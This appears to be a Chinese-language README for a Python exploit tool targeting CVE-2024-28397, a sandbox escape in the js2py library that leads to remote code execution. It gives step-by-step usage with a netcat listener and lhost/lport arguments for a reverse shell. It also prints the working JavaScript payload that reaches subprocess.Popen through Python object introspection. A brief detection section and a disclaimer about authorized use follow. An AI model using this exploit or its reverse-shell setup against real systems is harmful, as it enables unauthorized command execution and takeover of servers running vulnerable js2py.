用于 CVE-2024-28397 的 Python 漏洞利用代码,这是 js2py <= 0.74 中的一个严重漏洞,允许沙箱逃逸和远程代码执行。
js2py 是一个流行的 Python 库,用于在 Python 环境中评估 JavaScript 代码。该漏洞允许攻击者逃逸 js2py 沙箱环境并执行任意的 Python/系统命令,即使在启用了 js2py.disable_pyimport() 的情况下也是如此。
该漏洞利用通过 JavaScript 借助 Python 的对象内省能力来访问 subprocess.Popen 类并执行系统命令。
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Target URL endpoint (required)
--lhost Local IP for reverse shell (required)
--lport Local port for reverse shell (default: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ 和 __base__ 使用 JavaScript 访问 Python 的对象层次结构subprocess.Popen该漏洞利用通过以下方式工作:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__() 遍历 Python 的对象层次结构subprocess.Popen 类// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
查找包含以下内容的 JavaScript 代码:
__class__ 或 ___class___ 属性__subclasses__() 方法subprocess 或 Popenprintf 和 base64 -d 的 Base64 编码有效载荷此工具仅用于授权的渗透测试和教育目的。用户有责任遵守适用的法律法规。未经授权访问计算机系统属于违法行为。
本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。